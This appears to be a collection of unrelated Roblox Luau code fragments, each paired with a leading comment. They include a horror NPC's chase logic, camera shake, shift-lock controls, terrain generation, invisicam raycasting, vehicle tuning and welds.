Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=12;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end; |
--[=[
@return Shake
Creates a new shake with identical properties as
this one. This does _not_ clone over playing state,
and thus the cloned instance will be in a stopped
state.
A use-case for using `Clone` would be to create a module
with a list of shake presets. These presets can be cloned
when desired for use. For instance, there might be presets
for explosions, recoil, or earthquakes.
```lua
--------------------------------------
-- Example preset module
local ShakePresets = {}
local explosion = Shake.new()
-- Configure `explosion` shake here
ShakePresets.Explosion = explosion
return ShakePresets
--------------------------------------
-- Use the module:
local ShakePresets = require(somewhere.ShakePresets)
local explosionShake = ShakePresets.Explosion:Clone()
```
]=] |
function Shake:Clone()
local shake = Shake.new()
local cloneFields = {
"Amplitude", "Frequency", "FadeInTime",
"FadeOutTime", "SustainTime", "Sustain",
"PositionInfluence", "RotationInfluence",
"TimeFunction"
}
for _,field in ipairs(cloneFields) do
shake[field] = self[field]
end
return shake
end
|
--[[ Local Functions ]] | --
local function onShiftLockToggled()
IsShiftLocked = not IsShiftLocked
if IsShiftLocked then
ShiftLockIcon.Image = SHIFT_LOCK_ON
Mouse.Icon = SHIFT_LOCK_CURSOR
else
ShiftLockIcon.Image = SHIFT_LOCK_OFF
Mouse.Icon = ""
end
ShiftLockController.OnShiftLockToggled:Fire()
end
local function initialize()
if ScreenGui then
ScreenGui:Destroy()
ScreenGui = nil
end
ScreenGui = Instance.new('ScreenGui')
ScreenGui.Name = "ControlGui"
local frame = Instance.new('Frame')
frame.Name = "BottomLeftControl"
frame.Size = UDim2.new(0, 130, 0, 46)
frame.Position = UDim2.new(0, 0, 1, -46)
frame.BackgroundTransparency = 1
frame.Parent = ScreenGui
ShiftLockIcon = Instance.new('ImageButton')
ShiftLockIcon.Name = "MouseLockLabel"
ShiftLockIcon.Size = UDim2.new(0, 31, 0, 31)
ShiftLockIcon.Position = UDim2.new(0, 12, 0, 2)
ShiftLockIcon.BackgroundTransparency = 1
ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF
ShiftLockIcon.Visible = IsShiftLockMode
ShiftLockIcon.Parent = frame
ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled)
ScreenGui.Parent = PlayerGui
end
|
--[=[
@param tbl table
@param name string
@param inboundMiddleware ServerMiddleware?
@param outboundMiddleware ServerMiddleware?
@return RemoteFunction
Binds a function to a table method. The name must match the
name of the method in the table. The same name will be used
on the client to access the given function.
```lua
local MyObject = {
_Data = 10,
}
function MyObject:GetData(player: Player)
return self._Data
end
serverComm:WrapMethod(MyObject, "GetData")
```
]=] |
function ServerComm:WrapMethod(tbl: {}, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?): RemoteFunction
return Comm.WrapMethod(self._instancesFolder, tbl, name, inboundMiddleware, outboundMiddleware)
end
|
-- собственно создание ландшафта |
local function mountLayer(x, heightY, z, material)
local beginY = -BASE_HEIGHT
local endY = heightY
-- так что вот тут надо добавить условие на воду!!!!
-- сперва добавим воду если надо, а потом уже дно...
if endY < BASE_HEIGHT*WATER then
local cframe = CFrame.new(x * 4 + 2, (endY + BASE_HEIGHT*WATER) *2 / 2 , z * 4 + 2) -- отрисовка новой позиции
local size = Vector3.new(4, (BASE_HEIGHT*WATER - endY) *2 , 4) -- а попросту, заполнение от низа до полученного значения
workspace.Terrain:FillBlock(cframe, size, Enum.Material.Water)
end
local cframe = CFrame.new(x * 4 + 2, (beginY + endY)*2 /2 , z * 4 + 2) -- отрисовка новой позиции
local size = Vector3.new(4, (endY - beginY)*2 , 4) -- а попросту, заполнение от низа до полученного значения
workspace.Terrain:FillBlock(cframe, size, material)
end
function makeChunk(chunkX, chunkZ)
local rootPosition = Vector3.new(chunkX * CHUNK_SCALE, 0, chunkZ * CHUNK_SCALE)
chunks[chunkX][chunkZ] = true -- Acknowledge the chunk's existance.
for x = 0, CHUNK_SCALE - 1 do
for z = 0, CHUNK_SCALE - 1 do
local noise=0
local cx = (chunkX * CHUNK_SCALE) + x
local cz = (chunkZ * CHUNK_SCALE) + z
local r=math.sqrt(cx*cx + cz*cz) -- растояние от центра
--- пример ровного места
if r > RADIUS then
noise = math.noise(cx / X_SCALE, cz / Z_SCALE, GENERATION_SEED)
if r-RADIUS <= (RADIUS*R_SCALE) then
local k=(r-RADIUS)/(RADIUS*R_SCALE)
noise = noise * k
end
end
-- расчёт вертикали
local cy = noise * BASE_HEIGHT
-- присвоение материал
if r < RADIUS then
mountLayer(cx, cy, cz, Enum.Material.Cobblestone)
else
if cy<BASE_HEIGHT*WATER then
mountLayer(cx, cy, cz, Enum.Material.Mud)
elseif cy<-BASE_HEIGHT/3 then
if rnd:NextNumber()>DELTA then -- if math.random()>DELTA then
mountLayer(cx, cy, cz, Enum.Material.Sand)
else
mountLayer(cx, cy, cz, Enum.Material.Grass)
end
elseif cy>BASE_HEIGHT/2 then
if rnd:NextNumber()>DELTA then --if math.random()>DELTA then
mountLayer(cx, cy, cz, Enum.Material.Ice)
else
mountLayer(cx, cy, cz, Enum.Material.Cobblestone)
end
else
if rnd:NextNumber()>DELTA/2 then --if math.random()>DELTA/2 then
if rnd:NextNumber()>DELTA then
mountLayer(cx, cy, cz, Enum.Material.LeafyGrass)
-- высадим дерево?
if r > RADIUS then
spawnTree(Vector3.new(cx*4,cy,cz*4))
end
else
mountLayer(cx, cy, cz, Enum.Material.Grass)
end
else
mountLayer(cx, cy, cz, Enum.Material.Slate)
end
end
end
end
end
end
function checkSurroundings(location)
local chunkX, chunkZ = math.floor(location.X / 4 / CHUNK_SCALE), math.floor(location.Z / 4 / CHUNK_SCALE)
local range = math.max(1, RENDER_DISTANCE / CHUNK_SCALE)
for x = -range, range do
for z = -range, range do
local cx = chunkX + x
local cz = chunkZ + z
if not chunkExists(cx, cz) then
makeChunk(cx, cz)
end
end
end
end
while true do
for _, player in pairs(Players:GetPlayers()) do
if player.Character then
local humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
checkSurroundings(humanoidRootPart.Position)
end
end
end
wait(1)
game.Workspace.Finish.Value=1 -- отрисовано
end
|
--print("Shot") |
parts = script.Parent;
ignoreList = {script.Parent}
dealingDamage = 160
makeRays = false |
-- int rd_int_basic(string src, int s, int e, int d)
-- @src - Source binary string
-- @s - Start index of a little endian integer
-- @e - End index of the integer
-- @d - Direction of the loop |
local function rd_int_basic(src, s, e, d)
local num = 0
-- if bb[l] > 127 then -- signed negative
-- num = num - 256 ^ l
-- bb[l] = bb[l] - 128
-- end
for i = s, e, d do num = num + src:byte(i, i) * 256 ^ (i - s) end
return num
end
|
--Ammo.Changed:connect(Update_Gui)
--StoredAmmo.Changed:connect(Update_Gui)
--GLAmmo.Changed:connect(Update_Gui) |
local RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos
|
--//Declarations |
Camera = game.Workspace.CurrentCamera
Last = Camera.CFrame.lookVector
Blur = Instance.new("BlurEffect",Camera)
|
--helpfully checks a table for a specific value |
function contains(t, v)
for _, val in pairs(t) do
if val == v then
return true
end
end
return false
end
|
-- emote bindable hook |
if FFlagAnimateScriptEmoteHook then
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
if userPlayEmoteByIdAnimTrackReturn then
return true, currentAnimTrack
else
return true
end
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
if userPlayEmoteByIdAnimTrackReturn then
return true, currentAnimTrack
else
return true
end
end
-- Return false to indicate that the emote could not be played
return false
end
end
|
-- Colors |
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor = Color3.new(1, 0, 0)
local NeutralReticleColor = Color3.new(1, 1, 1)
local Spread = MinSpread
local AmmoInClip = ClipSize
local Camera = workspace.CurrentCamera
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local WeaponGui = nil
|
--[[**
ensures Roblox DockWidgetPluginGuiInfo type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]] |
t.DockWidgetPluginGuiInfo = primitive("DockWidgetPluginGuiInfo")
|
--[[**
ensures value is an enum of the correct type
@param enum The enum to check
@returns A function that will return true iff the condition is passed
**--]] |
function t.enum(enum)
assert(t.Enum(enum))
return function(value)
local enumItemSuccess, enumItemErrMsg = t.EnumItem(value)
if not enumItemSuccess then
return false, enumItemErrMsg
end
if value.EnumType == enum then
return true
else
return false, string.format("enum of %s expected, got enum of %s", tostring(enum), tostring(value.EnumType))
end
end
end
do
local checkWrap = t.tuple(t.callback, t.callback)
|
-- Sound |
CEs.PlaySound.OnClientEvent:connect(function(Sound,Rchr)
if not Sound then return end
if not Rchr then
if Sound:IsDescendantOf(plr.Character) then return end
else
if plr.Character == Rchr then return end
end
local newSound = Instance.new("Sound", Sound.Parent)
newSound.SoundId = Sound.SoundId
newSound.PlaybackSpeed = Sound.PlaybackSpeed
newSound.Volume = Sound.Volume
newSound.Name = Sound.Name.."Playing"
newSound:Play()
game:GetService("Debris"):AddItem(newSound, Sound.TimeLength)
end)
CEs.StopSound.OnClientEvent:connect(function(Sound,Rchr)
if not Sound then return end
if not Rchr then
if Sound:IsDescendantOf(plr.Character) then return end
else
if plr.Character == Rchr then return end
end
local newSound = Sound.Parent:FindFirstChild(Sound.Name.."Playing")
if newSound then newSound:Destroy() end
end)
|
--[[**
<description>
Takes a function to be called before :Save(). This function must return a value that will be saved in the data store. Used for serializing.
</description>
<parameter name = "modifier">
The modifier function.
</parameter>
**--]] |
function DataStore:BeforeSave(modifier)
self.beforeSave = modifier
end
|
-- Special Effects |
local EffectsFolder = ReplicatedStorage:WaitForChild("Effects")
local Explosion = EffectsFolder:WaitForChild("Explode")
|
-- Teleport error logging |
function Lobby._onTeleportFailure(player, status, message)
Log.Error.Lobby("Teleport Failed: %s (%s)", player.UserId, message)
-- Send error back to the server
local data = {
type = "FAILURE",
status = status,
message = message,
}
self.joinEvent:FireServer(data)
end
TeleportService.TeleportInitFailed:Connect(Lobby._onTeleportFailure) |
--[=[
@within Shake
@prop PositionInfluence Vector3
This is similar to `Amplitude` but multiplies against each axis
of the resultant shake vector, and only affects the position vector.
Defaults to `Vector3.one`.
]=] | |
-- Define the mouse offset |
local mouseOffset = Vector2.new(0, 0)
|
-- A collection of instances that may be parented to another instance. |
export type Children = Instance | StateObject<Children> | {[any]: Children}
|
--[[Weight and CG]] |
Tune.Weight = 1000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 55 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- Smart Circle mode needs the intersection of 2 rays that are known to be in the same plane
-- because they are generated from cross products with a common vector. This function is computing
-- that intersection, but it's actually the general solution for the point halfway between where
-- two skew lines come nearest to each other, which is more forgiving. |
local function RayIntersection(p0, v0, p1, v1)
local v2 = v0:Cross(v1)
local d1 = p1.x - p0.x
local d2 = p1.y - p0.y
local d3 = p1.z - p0.z
local denom = Det3x3(v0.x,-v1.x,v2.x,v0.y,-v1.y,v2.y,v0.z,-v1.z,v2.z)
if (denom == 0) then
return ZERO_VECTOR3 -- No solution (rays are parallel)
end
local t0 = Det3x3(d1,-v1.x,v2.x,d2,-v1.y,v2.y,d3,-v1.z,v2.z) / denom
local t1 = Det3x3(v0.x,d1,v2.x,v0.y,d2,v2.y,v0.z,d3,v2.z) / denom
local s0 = p0 + t0 * v0
local s1 = p1 + t1 * v1
local s = s0 + 0.5 * ( s1 - s0 )
-- 0.25 studs is a threshold for deciding if the rays are
-- close enough to be considered intersecting, found through testing
if (s1-s0).Magnitude < 0.25 then
return s
else
return ZERO_VECTOR3
end
end
local function SmartCircleBehavior(castPoints)
local torsoUp = TorsoPart.CFrame.upVector.unit
local torsoRight = TorsoPart.CFrame.rightVector.unit
-- SMART_CIRCLE mode includes rays to head and 5 to the torso.
-- Hands, arms, legs and feet are not included since they
-- are not canCollide and can therefore go inside of parts
castPoints[#castPoints + 1] = TorsoPart.CFrame.p
castPoints[#castPoints + 1] = TorsoPart.CFrame.p + torsoUp
castPoints[#castPoints + 1] = TorsoPart.CFrame.p - torsoUp
castPoints[#castPoints + 1] = TorsoPart.CFrame.p + torsoRight
castPoints[#castPoints + 1] = TorsoPart.CFrame.p - torsoRight
if HeadPart then
castPoints[#castPoints + 1] = HeadPart.CFrame.p
end
local cameraOrientation = Camera.CFrame - Camera.CFrame.p
local torsoPoint = Vector3_new(0,0.5,0) + (TorsoPart and TorsoPart.Position or HumanoidRootPart.Position)
local radius = 2.5
-- This loop first calculates points in a circle of radius 2.5 around the torso of the character, in the
-- plane orthogonal to the camera's lookVector. Each point is then raycast to, to determine if it is within
-- the free space surrounding the player (not inside anything). Two iterations are done to adjust points that
-- are inside parts, to try to move them to valid locations that are still on their camera ray, so that the
-- circle remains circular from the camera's perspective, but does not cast rays into walls or parts that are
-- behind, below or beside the character and not really obstructing view of the character. This minimizes
-- the undesirable situation where the character walks up to an exterior wall and it is made invisible even
-- though it is behind the character.
for i = 1, SMART_CIRCLE_CASTS do
local angle = SMART_CIRCLE_INCREMENT * i - 0.5 * math.pi
local offset = radius * Vector3_new(math_cos(angle), math_sin(angle), 0)
local circlePoint = torsoPoint + cameraOrientation * offset
-- Vector from camera to point on the circle being tested
local vp = circlePoint - Camera.CFrame.p
local ray = Ray.new(torsoPoint, circlePoint - torsoPoint)
local hit, hp, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {Character}, false, false )
local castPoint = circlePoint
if hit then
local hprime = hp + 0.1 * hitNormal.unit -- Slightly offset hit point from the hit surface
local v0 = hprime - torsoPoint -- Vector from torso to offset hit point
local d0 = v0.magnitude
local perp = (v0:Cross(vp)).unit
-- Vector from the offset hit point, along the hit surface
local v1 = (perp:Cross(hitNormal)).unit
-- Vector from camera to offset hit
local vprime = (hprime - Camera.CFrame.p).unit
-- This dot product checks to see if the vector along the hit surface would hit the correct
-- side of the invisicam cone, or if it would cross the camera look vector and hit the wrong side
if ( v0.unit:Dot(-v1) < v0.unit:Dot(vprime)) then
castPoint = RayIntersection(hprime, v1, circlePoint, vp)
if castPoint.Magnitude > 0 then
local ray = Ray.new(hprime, castPoint - hprime)
local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {Character}, false, false )
if hit then
local hprime2 = hitPoint + 0.1 * hitNormal.unit
castPoint = hprime2
end
else
castPoint = hprime
end
else
castPoint = hprime
end
local ray = Ray.new(torsoPoint, (castPoint - torsoPoint))
local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {Character}, false, false )
if hit then
local castPoint2 = hitPoint - 0.1 * (castPoint - torsoPoint).unit
castPoint = castPoint2
end
end
castPoints[#castPoints + 1] = castPoint
end
end
local function CheckTorsoReference()
if Character then
TorsoPart = Character:FindFirstChild("Torso")
if not TorsoPart then
TorsoPart = Character:FindFirstChild("UpperTorso")
if not TorsoPart then
TorsoPart = Character:FindFirstChild("HumanoidRootPart")
end
end
HeadPart = Character:FindFirstChild("Head")
end
end
local function OnCharacterAdded(character)
if childAddedConn then
childAddedConn:disconnect()
childAddedConn = nil
end
if childRemovedConn then
childRemovedConn:disconnect()
childRemovedConn = nil
end
Character = character
TrackedLimbs = {}
local function childAdded(child)
if child:IsA('BasePart') then
if LIMB_TRACKING_SET[child.Name] then
TrackedLimbs[child] = true
end
if (child.Name == 'Torso' or child.Name == 'UpperTorso') then
TorsoPart = child
end
if (child.Name == 'Head') then
HeadPart = child
end
end
end
local function childRemoved(child)
TrackedLimbs[child] = nil
-- If removed/replaced part is 'Torso' or 'UpperTorso' double check that we still have a TorsoPart to use
CheckTorsoReference()
end
childAddedConn = character.ChildAdded:connect(childAdded)
childRemovedConn = character.ChildRemoved:connect(childRemoved)
for _, child in pairs(Character:GetChildren()) do
childAdded(child)
end
end
local function OnCurrentCameraChanged()
local newCamera = workspace.CurrentCamera
if newCamera then
Camera = newCamera
end
end
|
--[[
class Spring
Description:
A physical model of a spring, useful in many applications. Properties only evaluate
upon index making this model good for lazy applications
API:
Spring = Spring.new(number position)
Creates a new spring in 1D
Spring = Spring.new(Vector3 position)
Creates a new spring in 3D
Spring.Position
Returns the current position
Spring.Velocity
Returns the current velocity
Spring.Target
Returns the target
Spring.Damper
Returns the damper
Spring.Speed
Returns the speed
Spring.Target = number/Vector3
Sets the target
Spring.Position = number/Vector3
Sets the position
Spring.Velocity = number/Vector3
Sets the velocity
Spring.Damper = number [0, 1]
Sets the spring damper, defaults to 1
Spring.Speed = number [0, infinity)
Sets the spring speed, defaults to 1
Spring:TimeSkip(number DeltaTime)
Instantly skips the spring forwards by that amount of now
Spring:Impulse(number/Vector3 velocity)
Impulses the spring, increasing velocity by the amount given
Visualization (by Defaultio):
https://www.desmos.com/calculator/hn2i9shxbz
]] |
local Spring = {}
|
--Explosion Effects, yes its just a particle effect xD-- |
local explosionvault1 = script.Parent.DepositBoxDoor1.ExplosionEffect1 |
--Weld stuff here |
misc:WaitForChild("Spoiler")
MakeWeld(car.DriveSeat,misc.Spoiler:WaitForChild("A1")).Name="W"
MakeWeld(misc.Spoiler.A1,misc.Spoiler:WaitForChild("A2"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A2,misc.Spoiler:WaitForChild("A3"),"Motor",.02).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A4"),"Motor",.01).Name="P"
MakeWeld(misc.Spoiler.A4,misc.Spoiler:WaitForChild("Sp"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.Sp,misc.Spoiler:WaitForChild("B1"))
MakeWeld(misc.Spoiler.B1,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B2,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B3,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B4,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B5,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B6,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.B7,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.RFL,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W"
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
-- Please don't edit this script |
L1 = script.Parent.LED1.Scripts.on
L2 = script.Parent.LED2.Scripts.on
L3 = script.Parent.LED3.Scripts.on
L4 = script.Parent.LED4.Scripts.on
L5 = script.Parent.LED5.Scripts.on
R1 = script.Parent.Parent.Relays.Relay1
R2 = script.Parent.Parent.Relays.Relay2
R3 = script.Parent.Parent.Relays.Relay3
R4 = script.Parent.Parent.Relays.Relay4
R5 = script.Parent.Parent.Relays.Relay5
repeat task.wait()
L1.Value = R1.RelayOn.Value
